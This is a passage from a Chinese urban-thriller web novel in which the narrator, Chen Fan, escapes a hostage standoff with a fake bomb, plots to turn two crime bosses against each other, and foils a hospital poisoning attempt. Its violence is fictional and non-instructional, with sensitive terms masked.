“我觉得你会。”龙三爷很自信道:“因为你不是一个人,你有在乎的人,有想要保护的人,柳媚笙,秦悦,叶倾城,司徒晴这些人都是你的软肋。而软肋,就是用来被拿捏的。”
他挥了挥手,二楼又走出一个人,押着另一个人。
是秦悦!
她的嘴也被胶带封着,双手被反绑,头发凌乱,但眼神依旧倔强,看到我,她愣了一下,然后开始拼命挣扎。
“悦悦……”我的心沉到了谷底。
“惊喜吗?”龙三爷很满意我的反应,道:“你以为秦家在杭城就安全了?太小看我了,在这个圈子里,只要我想,没有我抓不到的人。”
他顿了顿,语气变得玩味:“现在,你有两个选择了。跪,她们都能活,不跪的花,你可以选一个活,一个死。选吧,陈凡。”
仓库里死一般寂静。所有人都看着我,等待我的选择。
秦悦和柳媚笙也在看着我,眼中是截然不同的情绪,秦悦是担忧和祈求,柳媚笙是决绝和警告。
时间一分一秒过去。
然后,我笑了。
那笑声在寂静的仓库里格外刺耳。
龙三爷皱起眉头问我:“你笑什么?”
“我笑你搞笑。”我看着他,一字一句的说道:“笑你太老了,老到看不清形势,笑你太自信,自信到以为掌控了一切。”
我慢慢举起双手,但不是投降的姿势,我的右手握着一个黑色的遥控器,拇指按在红色的按钮上。
“认识这个吗?”我问龙三爷。
他的脸色变了。
我脱下了外套,脱下了衣服,里面露出了**。
没有错,我浑身捆着**!
这就是我的底气!
“引爆器在我手里,只要我松开拇指,或者我**,整个仓库会在一秒钟内变成废墟,这里面所有人,包括我,包括你的手下,包括秦悦和柳媚笙,都会粉身碎骨。”
我的
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决绝很狠厉,让在场所有的人倒吸了一口凉气,仓库内,马上变的骚动起来。
“你疯了!”龙三爷厉声道,“你想同归于尽?”
“对。”我点头,道:“这就是我的选择,要么一起活,要么一起死,没有第三种可能。”
我看着他的眼睛,毫不退缩道:“现在,该你做选择了,放人,我们一起走出去,或者,我们一起死在这里。”
龙三爷的脸色铁青,手中的拐杖因为用力而微微颤抖。
他在犹豫,他在权衡。
我知道他在想什么,他不想死,他还不容易从火场套了出去,他怎么可能想死!他好不容易回来,还没享受复仇的快感,还没拿回失去的一切,怎么会甘心的死在这里!
“你在虚张声势。”他最终说道:“我不信你敢按下引爆器!”
“是吗?”我笑了,拇指微微用力,红色按钮下沉了零点一毫米。
“要试试吗?”我冷冷道:“我最爱的女人,都陪着我,我已经不孤单了,你呢,你有什么!”
时间仿佛凝固了。
一秒,两秒,三秒……
龙三爷终于开口,声音沙哑:“放人。”
“三爷!”押着秦悦的手下急道。
“我说放人!”龙三爷吼道:“没听到吗?”
手下不甘心地解开秦悦的绳子,撕掉她嘴上的胶带,秦悦立刻跑下楼,扑进我怀里。
“陈凡……”
“别怕。”我搂紧她,另一只手依然握着遥控器,“媚笙呢?”
**的男人也松开了柳媚笙,她踉跄着走过来,脸色苍白,但眼神坚定。
“现在,让我们走。”我对龙三爷说。
“**怎么办?”龙三爷问道。
“等我们安全离开,我会把引爆器留在这里。”我说道:“放心,我不是**。只要我的人安全,我没兴趣跟你同归于尽。”
龙三爷死死盯着我,眼中是刻骨的恨意,但最终还是挥了挥手:“让他们走。”
手下们不情愿地让开一条路,我一手搂着秦悦,一手扶着柳媚笙,慢慢往仓库大门走去。
每一步都很慢,很小心。我的眼睛盯着二楼,拇指依然按在按钮上,随时准备松开。
终于,我们走出了仓库大门。
“现在。”我停下脚步,回头对仓库里的龙三爷说道:“现在我给你们十分钟撤离,十分钟后,是死是活,看你们的造化。”
我将身上的**取下,然后手里依旧拿着引爆器!
我的话说完,龙三爷和手下的人就开始疯狂的撤离!
我回头看了一眼后视镜,我离仓库越来越远,我看到没有人跟踪我们的车,我才长舒了一口气,这一次,我真的是化险为夷!
这一次,我也领略到了龙三爷的厉害,只不过让我失望的是,我没有弄死龙三爷,让他给跑了,这个人,后续会做出什么报复,那就不知道了!
我立刻掏出手机,给叶倾城打了过去。
“陈凡,怎么样?”
“人就出来了,你马上作废那张支票!”
“好!”
当我们安全后,我将引爆器和**都给扔了!
我的操作,直接将两个女人给看傻眼了,她们没有想到我竟然就这么随意的把**给扔了。
“陈凡,你这样做很危险的?这些**如果被坏人拿去,会造成很大的……”
“放心了,悦悦,这只是个道具而已!”我笑了笑道。
“道具,你?”柳媚笙看着我,眼睛瞪大问我:“这是假的?”
“虚张声势罢了,我哪有什么**,就是个假的,骗骗他们,没想到他们还上当了!”
秦悦愣了几秒,又哭又笑:“你吓死我了!”
柳媚笙也笑了,但笑容很快消失:“陈凡,龙三爷不会善罢甘休的,这次你耍了他,他会用更狠的手段报复。”
“我知道。”我启动车子,重新上路道:“所以我们要在他反应过来之前,先动手。”
“怎么动?”
“回家再说。”我说道:“先送你们去医院检查,然后我们有很多事要做。”
247柳媚笙铤而走险!
深夜十一点,上城第一医院急诊室。
我带着秦悦来做全面检查,她除了手腕被绳子勒出的淤青,其他的没什么大碍。
而柳媚笙的情况复杂些,左肩的伤口在挣扎中裂开了,需要重新缝合。
我在病房里,握着柳媚笙的手,轻声的安慰着她,可是柳媚笙没有什么反应,只是盯着天花板。
叶倾城匆匆赶来,看到我,上下打量一番,确认我没受伤,才松了口气。
“外围的人说,龙三爷的人从老码头撤离了,很仓促。”她压低声音,道:“但我们监控到,半个小时后,有三辆车开进了司徒家的老宅,龙三爷可能去找司徒雄了。”
“意料之中,他们俩的恩怨比我们想象的深。龙三爷这次回来,第一个要报复的是司徒雄,第二个才是我。只是他太贪心,想一箭双雕。”
“那我们现在要做什么?”叶倾城问我。
“反击。”我转身,走向电梯,道:“通知所有人,半小时后在公司开会,我们有太多事要做。”
“陈凡,你已经三天没合眼了,要不要先休息?”叶倾城拉住了我的胳膊,好心的提醒着我。
“没时间休息。”我按了下行键,道:“龙三爷和司徒雄现在一定在商量怎么对付我,在他们行动之前,我要先打乱他们的节奏。”
电梯门打开,我走进去。叶倾城跟进来,欲言又止。
“想说什么就说。”
“秦悦和柳媚笙……”她犹豫了一下,道:“你把她们都卷进来了。这次是侥幸,下次呢?龙三爷不是司徒雄,他做事没底线。如果他下次抓了司徒晴,或者我呢?”
我看着电梯里跳动的数字,沉默了很久。
“倾城。”最终我说道:“从我开始这条路的那天起,所有靠近我的人,都自动进入了危险区,你可以选择离开,我不会怪你。”
“我不是那个意思。”她摇头,道:“我是说我们得有个更周全的保护方案,不能再让今天的事重演。”
电梯到达地下车库。我走向车子,边走边说道:“已经安排了,从今天起,你们四个人,每个人身边都有六个保镖,二十四小时轮班,住的地方全部换成安全屋,出行路线每天换,通信全部加密,这是我能做到的极限了。”
叶倾城点点头,没再说什么。
凌晨十二点半,晴空科技会议室灯火通明。
椭圆形的会议桌边坐满了人,叶倾城,秦悦,司徒晴,还有几个核心部门的负责人。柳媚笙本来也应该在,但医生建议她住院观察,我让她留在医院休息。
秦悦的脸色还有些苍白,但眼神已经恢复了往日的清冷和锐利,司徒晴则是一脸凝重,显然已经知道了今晚发生的事。
“人都齐了。”我站在主位,道:“时间紧迫,我直接说计划。”
所有人都挺直了背脊。
“今晚之前,我们的敌人只有一个司徒雄,但现在,多了一个龙三爷。这两个人,一个在明,一个在暗,一个用资本碾压,一个用暴力威胁,单打独斗,我们不是任何一个的对手。但如果我们能让他们互相消耗……”
我顿了顿,目光扫过全场。
“那就有机会。”
叶倾城第一个反应过来:“你要挑拨他们?”
“不是挑拨,是加速。”我说:“龙三爷和司徒雄本来就有深仇大恨。”
秦悦接话道:“所以龙三爷的真正目标,不只是复仇,是取而代之。他要成为上城新的地下皇帝。”
“对。”我点头,道:“而司徒雄的目标,是保住司徒家的基业,同时除掉我和龙三爷这两个威胁,所以他们的目标有重叠,都想除掉对方。我们要做的,就是给他们制造冲突的机会。”
司徒晴问:“怎么制造?”
我打开投影,调出一份文件。
“这是龙三爷在东南亚的产业清单,三家赌场,两家走私公司,还有一条从金三角到欧洲的**运输线。而这份……”我切换页面,道:“是司徒雄在海外的灰色产业**,走私,**,你们看,有什么发现?”
叶倾城仔细看着屏幕:“他们的生意有重叠,在缅甸和老挝边境,龙三爷的**运输线,和司徒雄的**走私路线,在同一个区域。”
“不止。”我放大地图,道:“三年前,司徒雄吞并了他在东南亚的部分产业,但龙三爷这三年在暗中重建,现在两家的势力在那片区域形成了对峙,上个月,还发生过两次小**,**七个人。”
秦悦倒吸一口凉气道:“所以他们的战争,其实早就开始了?”
“对。”我关掉投影,道:“只是在国内,他们还在互相试探,我们要做的,就是把他们在东南亚的战争,引到国内来。”
我的计划让会议室里一片寂静,所有人都明白这个计划的危险性,引狼**,稍有不慎,我们自己也会被吞噬。
“具体怎么做?”叶倾城问。
“分三步。”我竖起三根手指,道:“第一步,情报战,把龙三爷在东南亚的产业详细资料,匿名送给司徒雄。同时,把司徒雄海外生意的黑料,送给龙三爷。让他们清楚对方的底牌。”
“第二步呢?”
“第二步,制造**。”我说道:“司徒雄有个私生子,叫司徒明,二十五岁,在泰国留学,龙三爷有个养女,叫龙小玉,二十五岁,在泰国管理一家赌场,我们需要一个事件,让这两个人……发生冲突。”
司徒晴皱眉:“这会不会太?”
“太残忍?”我接过她的话,道:“是残忍。但这是战争,不是过家家,龙三爷可以**秦悦和柳媚笙,司徒雄可以派雇佣兵去马来西亚追杀,他们没对我们仁慈,我们也没必要对他们手软。”
会议室里再次沉默。
“第三步,”我继续说,道:“等他们打起来,我们坐收渔翁之利,司徒家的产业,龙三爷的地盘到时候,能拿多少拿多少。”
“风险呢?”秦悦问:“如果他们两个联手先对付我们呢?”
“可能性不大。”我分析道:“一山不容二虎,龙三爷和司徒雄都是控制欲极强的人,他们不可能真正合作,而且,他们之间的仇恨太深,深到没有和解的可能。”
叶倾城思考了一会儿,点头:“理论上可行,但实际操作上,每一步都需要精确计算。尤其是制造冲突那一步,怎么让司徒明和龙小玉起冲突?时间、地点、方式都不能留下痕迹。”
“这件事我来安排。”我说道:“你们负责其他部分,倾城,你负责情报战,明天,我要看到双方收到对方的黑料。秦悦,你通过秦家在东南亚的关系,查清楚司徒明和龙小玉的具体行踪和生活习惯。司徒晴,你继续盯着晴空科技的生产线恢复,那是我和司徒雄金融战的关键筹码。”
所有人都领到了任务。
“还有什么问题吗?”我看向大家。
司徒晴举手,问道:“我有个问题,可能不太合适,但我想问。”
“说。”
“扳倒司徒家后,你打算怎么处理司徒家那些人?”她看着我,眼神复杂,“司徒雄,司徒飞,还有其他无辜的族人。”
这个问题很尖锐,也很现实。
我想了想,认真回答:“司徒雄必须倒,他手上沾了太多血。司徒飞看他的选择,如果继续为虎作伥,那就一起倒,至于其他族人,只要不参与,不抵抗,可以保全。但司徒家的基业,必须瓦解,不是我要赶尽杀绝,是这个时代不需要这种封建式的家族垄断。”
司徒晴点点头,没再说话,我知道她心里在想什么,她恨司徒家的压迫,但毕竟血浓于水。可这就是现实,选择了这条路,就必须面对。
散会后,秦悦留了下来。
“陈凡,那个让司徒明和龙小玉起冲突的计划,你具体要怎么做?”
“我还在想。”我揉着太阳穴,道:“但大概的思路是,
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让他们因为利益或者感情产生矛盾,然后激化,最好是那种无法调和的矛盾。”
“利益……”秦悦若有所思,道:“我查过资料,司徒明喜欢赌钱,欠了不少债,而龙小玉在泰国开赌场,也许可以从这里入手。”
我眼睛一亮:“具体说说。”
“司徒明每个月会去赌场一次,赌得很大。他父亲司徒雄虽然有钱,但对他管得很严,给的零用钱有限。所以他经常借**,拆东墙补西墙。”秦悦调出手机里的资料,道:“而龙小玉的赌场,在泰国清迈。”
一个爱赌的富二代,一个想扩张的赌场老板,秦悦的提醒已经非常明确了。
“有办法了。”我说道:“你安排一下,让司徒明‘偶然’知道龙小玉的赌场可以提供高额信贷,而且利息比其他赌场低,等他去了,再设计一场**,比如,让龙小玉发现他出千,或者他欠了巨债想赖账,这样冲突自然就来了。”
秦悦点头道:“我可以安排,秦家在泰国有几个合作方,和龙小玉的赌场有业务往来,让他们来牵线,不会引起怀疑。”
“但你要注意安全。”我握住她的手道:“不要亲自出面,所有事情通过中间人,我不希望你再去冒险。”
秦悦笑了,笑容有些苦涩:“陈凡,从我爱上你的那天起,我就已经身在险境了。但我愿意,因为我知道,你在做对的事。”
我把她搂进怀里,闻着她发间的清香。
“等这一切结束,”我轻声说,道:“我们就结婚。去一个没人认识我们的地方,过平静的生活。”
“好。”她靠在我肩上,笑着说:“我等你。”
凌晨三点,我回到医院。
柳媚笙还没睡,靠坐在床头,看着我走了进来。
“怎么不睡?”我走过去,在床边坐下。
“睡不着。”她的声音很轻道:“一闭眼,就是那些画面,枪口,绳子,还有龙三爷的眼睛。”
我握住她的手:“都过去了。”
“没有过去。”柳媚笙转过头,看着我:“龙三爷不会放过我,他知道我帮你在马来西亚拿到了吴山的证据,知道我在东南亚坏了他的事。他会一直追杀我,直到我死。”
她的眼中没有恐惧,只有一种认命般的平静,这让我很心疼。
“我不会让他伤害你。”我握紧她的手,道:“这次,我会先下手。”
柳媚笙笑了,那笑容很淡:“陈凡,你知道吗?我最欣赏你的,就是这种明知不可为而为之的勇气。但有时候,我也最担心这个。因为勇气和莽撞,只有一线之隔。”
“这次不是莽撞。”我说道:“我已经开始了反击计划,龙三爷和司徒雄,我会让他们互相残杀,等他们两败俱伤,就是我们收网的时候。”
“然后呢?”她问道:“扳倒了他们,你打算做什么?成为下一个司徒雄?还是下一个龙三爷?”
这个问题,秦悦也问过。
“都不是。”我摇头道:“我不会变成他们。我要建立一个新的秩序——公开,透明,用规则代替暴力,用合作代替垄断。”
“理想很美好。”柳媚笙说:“但现实很残酷,这个圈子里,没有绝对的好人,也没有绝对的坏人。只有利益,和站队。”
“我知道。”我看着她道:“所以我才需要你,需要倾城,需要秦悦,需要所有相信我的人,我一个人做不到,但我们可以。”
柳媚笙沉默了很长时间,似乎在思考什么,最终她开口说道:“我在东南亚还有些关系,是龙三爷不知道的,当年阿战救过几个人的命,他们欠我人情,如果你需要,我可以联系他们。”
我心中一暖:“媚笙,你已经为我做了太多……”
“不是为你。”她打断我道:“是为我自己,龙三爷必须死,否则我永无宁日,而且……”她顿了顿,声音低了下去道:“我也想看看,你说的那个新秩序,是什么样子。”
248一场阴谋!
早上六点,杭城。
秦家老宅子,还被笼罩在一片薄雾中。
管家匆匆走进院子,他手里拿着一份加密文件。
“老爷,小姐从发来的急件。”
秦守正没有停下手上的动作,只是微微点头,周伯将文件放在院中的石桌上,安静的退到一旁。
一套拳打完,秦守正收势,吐出一口浊气。
他走到石桌边,拿起文件,没有急着打开,而是先泡了一壶龙井,看着茶叶在热水中舒展,茶香袅袅升起。
然后,他才拆开文件。
这份文件里面是秦悦昨晚整理的资料,关于龙三爷在东南亚的产业分布,关于司徒明在国外的赌债,关于陈凡的全盘计划,每一页都条理清晰,关键信息用红笔标出。
秦守正看得很慢,很仔细,看到最后,他放下文件,端起茶杯,抿了一口。
“周伯。”
“老爷。”
“我们在清迈的人,能接触到龙小玉吗?”
周伯想了想:“龙小玉的赌场,和我们合作的物流公司有业务往来,赌场需要的酒水、食材,有一部分是我们供应的。如果需要接触,可以通过这个渠道。”
秦守正点点头道:“安排一下,不要直接接触,通过中间人,给龙小玉递个话,有个上城来的富二代,叫司徒明,喜欢赌大的,而且最近手头紧,在找能提供高额信贷的场子。”
“明白。”周伯犹豫了一下,道:“老爷,这么做会不会把小姐牵扯得太深?”
“悦悦已经卷进去了。”秦守正看着湖面上渐渐散去的雾气,道:“从她选择陈凡那天起,就没有退路了。我们能做的,就是尽量帮她扫清障碍。”
他顿了顿,眼神变得深邃:“另外,查一下龙三爷这三年的行踪。我要知道,他在东南亚到底积攒了多少实力。”
“是。”
周伯离开后,秦守正重新拿起文件,翻到陈凡计划的那一页。
“新秩序……”他轻声念着这三个字,嘴角浮起一丝若有若无的笑意,道:“年轻人有理想是好事,但理想太美好,容易碎。”
他站起身,走到院墙边,墙上挂着一幅字,是他年轻时写的:“世事如棋,乾坤莫测”。
七十年的人生,他见过太多起落。见过白手起家的英雄,也见过一夜崩塌的帝国。见过忠贞不渝的爱情,也见过背后插刀的背叛。
陈凡这个年轻人,让他想起了当年的自己,敢想敢干,不守规矩,想要打破一切重来。
但当年的他,最终明白了:有些规矩,之所以存在,是因为它最符合大多数人的利益。打破规矩的人,要么成为新的规矩制定者,要么成为规矩下的亡魂。
“陈凡啊陈凡,”秦守正低声自语道:“你能走到哪一步呢?”
……
同一时间,上城,司徒家老宅。
书房里的气氛压抑得像要凝固,司徒雄坐在紫檀木书桌后,脸色铁青,对面,司徒飞垂手站着,大气不敢出。
桌上摊着两份文件,一份是叶倾城匿名送来的,详细列出了龙三爷在东南亚的产业和势力分布,另一份是司徒雄自己的情报网查到的,和陈凡提供的相互印证。
“三年前那个刺杀竟然没弄死龙三。”司徒雄的声音嘶哑,道:“不仅没死,还在东南亚建了这么大的势力。好,很好。”
“父亲。”司徒飞小心翼翼的问:“龙三爷现在回来,第一个要对付的肯定是您,我们要不要先下手为强?”
“怎么下手?”司徒雄抬起眼皮,问道:“他现在人在哪里都不知道,这些资料只显示他在东南亚的产业。”
他拿起那份文件,指着上面的数字:“他的三家赌场,两条走私线,还有**生意,这三年,他积累的实力,可能已经不输给我们司徒家了。”
司徒飞的脸色白了。
“那陈凡那边……”
“陈凡是在借刀**。”司徒雄冷笑,道:“他把龙三爷的资料给我们,把我们的资料给龙三爷,就是想让我们互相残杀,他好坐收渔翁之利,这小子,比我想的还聪明。”
“那我们要不要和龙三爷……”
“合作?”司徒雄打断他,道:“杀子之仇,不共戴天,当年我放火烧他全家,他儿子死在那场火里,你以为他会跟我合作?”
司徒雄的让儿子陷入了沉默,当**,司徒雄一只隐藏的很好,只不过,现在全部都暴露出来了,那龙三还不得杀了司徒家?为自己的儿子报仇?
良久,司徒雄开口:“陈凡想让我们打,那我们就打。但不是他想要的那种打法。”
他站起身,走到窗前。
“联系我们在金三角的人。”司徒雄背对着儿子说:“让他们对龙三爷的**运输线下手,但要做得隐蔽,看起来像是当地帮派抢地盘。”
“明白。”
“另外。”司徒雄转过身,眼神阴冷,道:“陈凡不是在乎他身边那几个女人吗?那就让他知道,动我司徒家的人,要付出什么代价。”
司徒飞眼睛一亮:“父亲的意思是……”
“柳媚笙不是在医院吗?”司徒雄缓缓道,“安排一次‘医疗事故’。要看起来像意外,但要让陈凡知道,是我们做的。”
“那秦悦和叶倾城……”
“一个一个来。”司徒雄坐回椅子上,道:“陈凡让我的股价跌了三十个点,让司徒晴那个不孝女公开背叛家族。这笔账,我要一笔一笔跟他算。”
……
上午九点,上城第一医院。
柳媚笙的主治医生陈医生查完房,在走廊里被一个戴口罩的护士拦住。
“陈医生,柳小姐的化验报告出来了,有点异常。”
陈医生接过报告单,皱眉看着上面的数据:“肾功能指标怎么又升高了?昨天不是开始恢复了吗?”
“不清楚。要不要调整用药?”
“我看看……”陈医生仔细看着报告,忽然感觉脖子一疼,像被蚊子叮了一下。他伸手去摸,摸到一个小小的针眼。
下一秒,天旋地转,陈医生只感觉瞬间没了意识。
护士扶住他软倒的身体,快速将他拖进旁边的储物间。两分钟后,“陈医生”从储物间走出来,整理了一下白大褂的领子,推着治疗车走向柳媚笙的病房。
病房里,柳媚笙正在吃早餐,看到“陈医生”进来,她放下勺子。
“陈医生,早。”
“早。”“陈医生”笑容温和,道:“今天感觉怎么样?”
“还好,就是伤口还有点疼。”
“正常,毕竟伤到骨头了。”“陈医生”走到床边,拿起病历看了看,道:“今天再加一组营养液,促进伤口愈合。”
他熟练地配药,将药液注入输液袋。整个过程行云
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流水,没有任何异常。
柳媚笙看着他配药,忽然问:“陈医生,你左手的表呢?昨天看你戴着。”
“陈医生”的动作几不可察地顿了一下,然后笑道:“早上洗手时摘了,忘戴了。柳小姐观察真仔细。”
他挂好输液袋,调整滴速:“这组药会有点刺激性,如果手臂疼或者胸闷,及时按呼叫铃。”
“好。”
“陈医生”推着治疗车离开。柳媚笙盯着他的背影,直到门关上,才缓缓收回视线。
她拿起手机,给陈凡发信息:“刚才的陈医生是假的。真陈医生左手戴婚戒,假医生没有。他给我加了药,成分不明。”
发送完毕,她按下呼叫铃。
真正的护士很快进来:“柳小姐,有什么需要?”
“我刚才好像看到陈医生了,但他没戴戒指。”柳媚笙说,“能帮我确认一下,陈医生今天上班了吗?”
护士愣了一下:“陈医生今天轮休啊,没来医院。”
柳媚笙的心沉了下去:“那刚才进来给我加药的是谁?”
护士的脸色变了,立刻冲出病房。两分钟后,保安和院领导都赶来了。
输液袋被紧急取下,送去化验。监控调出来,显示“陈医生”从储物间出来后,直接来了柳媚笙的病房,整个过程不到五分钟。
陈凡赶到医院时,化验结果已经出来了,输液袋里添加了高浓度的**,如果全部输入体内,会在半小时内引起心脏骤停,看起来就像术后并发症导致的**。
“司徒雄动手了。”我看着化验报告,声音冰冷。
柳媚笙坐在病床上,脸色苍白,但眼神很平静:“他们这次没成功,下次会更小心。陈凡,医院不安全了,我要出院。”
“不行,你的伤还没好。”
“在命面前,伤不算什么。”柳媚笙看着我,“而且,我在医院只会成为你的弱点。让我回‘迷醉’,那里是我的地盘,更安全。”
我想了想,点头:“好,我安排。”
转身时,柳媚笙叫住我。
“陈凡。”
“嗯?”
“司徒雄开始不择手段了。”她轻声说,“这意味着,他也到了狗急跳墙的时候。这是我们的机会,但也是最大的危险。你要小心。”
“我知道。”我握住她的手,“你也要小心。”
离开医院时,我接到了叶倾城的电话。
“陈凡,泰国那边有进展了,秦悦安排的人已经和龙小玉接触上,司徒明这个周末就会去清迈,另外……”
她顿了顿,声音有些异样:“我们监控到,司徒雄在金三角的人有异动,可能要对龙三爷的运输线下手,时间就在这两天。”
“这么快?”我皱眉。
“看来司徒雄也急着反击。”叶倾城说:“我们要加快节奏了。司徒明和龙小玉的冲突,必须在这个周末发生。等龙三爷知道自己的运输线被袭击,女儿又和人起冲突,他一定会把账算在司徒雄头上。”
“秦悦那边安排好了吗?”
“她说没问题,司徒明好赌又好色,龙小玉漂亮又有手段,冲突很容易制造,关键是,要让冲突看起来是司徒明挑起的,这样龙三爷才会更恨司徒家。”
“好。”我看了眼时间道:“通知所有人,今晚八点,开视频会议,我们要把计划的每一个细节都敲定。”
249柳媚笙的付出!
杭城。
我和秦悦一起回家,我是被秦守正突然叫回来的,我心想,老爷子肯定有啥事。
“怎么这么着急叫我回来?”我问秦悦。
“爷爷的态度有些变化。”秦悦忽然说:“我把你的计划都告诉他了,他一开始很支持,但后来有些犹豫。”
“为什么?”我好奇。
“他说你步子迈得太大了。”秦悦看着我,:“一下子要同时对付两个敌人,而且都是根基深厚的对手,他说这不是聪明,是莽撞。”
我沉默了一会儿:“那你怎么想?”
“我相信你。”秦悦毫不犹豫地说:“但我也理解爷爷的顾虑。秦家是百年基业,每一步都要走得稳。这次帮你,秦家要动用在东南亚积累了几十年的人脉和资源。如果失败了,损失的不只是钱,还有秦家在海外的根基。”
我明白她的意思。秦守正不是不愿意帮我,而是作为一家之主,他必须权衡利弊,必须考虑整个家族的利益。
“我会说服他的。”我说。
秦悦靠在我肩上,轻声说:“其实爷爷很喜欢你。他说你有他年轻时的影子,敢想敢干,不守规矩。但他也说,他当年就是因为太敢干,差点让秦家毁于一旦。所以现在,他更相信稳扎稳打。”
车子驶入西湖景区,沿着湖滨路缓缓行驶。雨中的西湖像一幅水墨画,烟波浩渺,远处的山影在雨雾中若隐若现。车子最后在一处白墙青瓦的院落前停下,门楣上挂着“听雨轩”三个字的木匾。
秦守正站在廊下,背对着我们,看着院子里的雨景。他今天穿了身深蓝色的唐装,手里拄着那根紫檀木手杖,背影挺直。
“爷爷。”秦悦轻声唤道。
秦守正转过身,目光先落在我身上,打量了一番,然后点点头:“来了。进屋吧,茶泡好了。”
秦守正点点头,这才进入正题:“悦悦把计划都跟我说了。很精彩,很大胆,也很危险。”
他看着我:“你知道你在做什么吗?同时招惹司徒雄和龙三爷,相当于同时和两只老虎搏斗。一只已经够危险了,两只你可能被撕得粉碎。”
“我知道。”我放下茶杯,道:“但这是我唯一的机会。如果分开对付,他们任何一个都能轻易碾碎我。只有让他们互相消耗,我才有胜算。”
“理论上是这样。”秦守正缓缓道:“但实际操作上,变数太多。比如,你怎么保证他们一定会打起来?万一他们识破了你的计谋,联手先对付你呢?”
“因为他们有深仇大恨。”我说:“那场火,龙三爷的儿子死在司徒雄手里,这种杀子之仇,不可能和解,而且,他们在东南亚的生意有重叠,早就开始明争暗斗了。我们只是把他们的战争,从东南亚引到国内而已。”
秦守正沉默地喝着茶,良久才说:“就算他们打起来,你又怎么能保证,最后赢的是你?鹬蚌相争,渔翁得利。但你想过没有,除了你,还有多少双眼睛盯着这场争斗?等他们两败俱伤,可能轮不到你收网,就被其他势力抢先了。”
这个问题很尖锐,我也思考过。
“所以我要快。”我说:“在他们分出胜负前,就要准备好接收他们的产业,这需要足够的人手和资源,而这就是我需要秦家帮助的地方。”
秦守正放下茶杯,手指在桌面上轻轻敲击。
“陈凡,我欣赏你的胆识和魄力。但作为秦家的家主,我不能只凭欣赏就赌上整个家族的前途。我要看到更实际的回报,更稳妥的方案。”
他从茶几下拿出一份文件,推到我面前。
“这是秦家能提供的支持清单—资金,人脉,渠道,都可以给你。”
我拿起文件翻了翻。清单很详细,从资金数额到具体的人脉关系,一应俱全。条件也很明确——五成。
秦悦的脸色变了:“爷爷,这太...”
“悦悦。”秦守正打断她,“这是生意,不是人情。陈凡要借用秦家几十年的积累,自然要付出相应的代价。”
我看着秦守正,他的眼神很平静,但也很坚定。我知道,这是他作为商界老将的本能——在商言商,利益至上。
“三成。”我说,“最多三成。”
“四成半。”
“三成半。”我说。
“可以,不过你要快点娶悦悦我要看到婚书,看到婚礼,看到你对外公开承认,秦悦是你陈凡的妻子。”
秦悦的脸红了,但她看着我,眼神里有期待,也有紧张。
“好!我答应你,我会尽快!”我问。
秦守正盯着我看了很久,然后点了点头:“好。合同我会让人拟好,明天签。现在,我们来谈具体计划。”
接下来的两个小时,我们在茶室里详细推演了整个计划。
秦守正不愧是商界**湖,每一个细节都考虑得周全。他指出了我们计划中的几个漏洞,提出了改进方案。特别是关于司徒明和龙小玉冲突的部分,他给出了更巧妙的安排。
“司徒明好赌,但更好色。”秦守正说:“龙小玉漂亮,有手段,但也很骄傲,让他们的冲突从赌桌延伸到感情,会更激烈,也更难化解。”
他让周伯拿来一份资料,是龙小玉的详细档案。
“她母亲是泰国人,她从小在泰国长大,但接受的是中文教育。她喜欢中国文化,特别是古诗词。司徒明在留学多年,表面浪荡,但文学修养不错,写过诗,还拿过奖,他们两个迅速结实,并产生冲突!”
我不得不佩服秦守正的老辣。这确实比我们原来的计划更精妙。
“那司徒雄那边呢?”我问。
“我已经安排人在金三角动手了。”秦守正说,“昨天下午,龙三爷的一条**运输线被袭击,损失了五百万美元的货。消息会通过特殊渠道,让龙三爷知道是司徒雄干的。”
“这么快?”
“兵贵神速。”秦守正淡淡道,“你从上海飞到杭城的这段时间,足够做很多事了。”
我看着他,忽然明白为什么秦家能屹立百年不倒。有这样的掌舵人,有这样高效的行
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动力,想不成功都难。
“最后一个问题,”我说,“如果计划顺利,龙三爷和司徒雄打起来了,我们什么时候收网?”
“等他们打到最激烈的时候。”秦守正说:“但要注意度,不能让他们真的把对方打垮,那样接收产业会麻烦很多,要在他们都伤筋动骨,但还有一口气的时候,出面调停,然后接管。”
他顿了顿,补充道:“到时候,我会亲自出面,以秦家的名义,调停他们的争端,而你,要准备好接收队伍。记住,接收产业比打垮敌人更难,你要有足够的人,懂行的人。”
我点点头,将这些都记在心里。
谈话结束时,已经是下午四点。雨还在下,天色阴沉。
我和秦悦马上坐飞机,飞回上城,在飞机上,秦悦对我说:“对了,有件事要告诉你。柳媚笙离开医院后,没有回‘迷醉’。她说要去一个安全的地方,等风头过去再联系你。”
我的心一紧:“她在哪?”
“她没说,但让我转告你,不用担心。她说她在东南亚还有些老朋友,可以保护她。她还说...”秦悦顿了顿,道:“等你们再见时,她会给你一个惊喜。”
惊喜?现在这种时候,我只希望不是惊吓。
“叶倾城那边呢?”我问。
“一切按计划进行。”秦悦说:“司徒明明天去赌场,龙小玉那边也安排好了,到时候会有人引导他们‘偶遇’。”
我点点头,但心里隐隐有些不安。
一切都太顺利了。顺利得有些不真实。
但开弓没有回头箭,计划已经开始,只能继续走下去。
晚上,我刚到上城,我的手机震动,是叶倾城发来的加密信息。
“司徒雄有异动。他的人在查柳媚笙的下落,而且...他们可能已经查到她在泰国。”
我的心猛地一沉。
立刻回拨电话,叶倾城很快接通。
“消息可靠吗?”我问。
“八成把握。”叶倾城的声音很紧张,“我们监控到司徒雄的一个手下,这两天频繁联系泰国那边的侦探社。虽然内容加密了,但从通信频率和时长判断,应该是在找人。结合柳媚笙刚好在泰国,可能性很大。”
“能拦截吗?”
“很难。他们在泰国用的是本地势力,我们鞭长莫及。”叶倾城顿了顿,“陈凡,要不要通知柳媚笙?”
我犹豫了。
如果通知她,她可能会转移,但也可能暴露更多行踪。如果不通知...
“先不要。”我最终决定,“加强监控司徒雄的动向。另外,联系我们在泰国的人,如果有柳媚笙的消息,第一时间保护她。”
“明白。”
挂断电话,我走到窗前。雨还在下,夜色深沉,西湖在雨中一片漆黑。
我的不安越来越强烈。
司徒雄在找柳媚笙,龙三爷潜伏在暗处,秦守正在布局,我在这里等待……
让我不明白的是,柳媚笙为什么要再去泰国,她的伤才好,难道她要做什么吗?
250柳媚笙的爱慕者!
泰国,清迈。
夜色中的赌场灯火通明,金碧辉煌。
这座三层的泰式建筑临河而建,飞檐翘角上挂着红灯笼,门口立着两尊巨大的石象,赌场里人声鼎沸,各种语言的叫喊声、筹码碰撞声、**转动声混杂在一起。
二楼VIP包厢里,司徒明坐在赌桌前,面前堆着高高的筹码,他已经连赢了七把了。
司徒明面前的筹码从五十万泰铢变成了一千两百万,同桌的几个赌客脸色难看,其中一个日本商人已经输光了所有筹码,愤然离席。
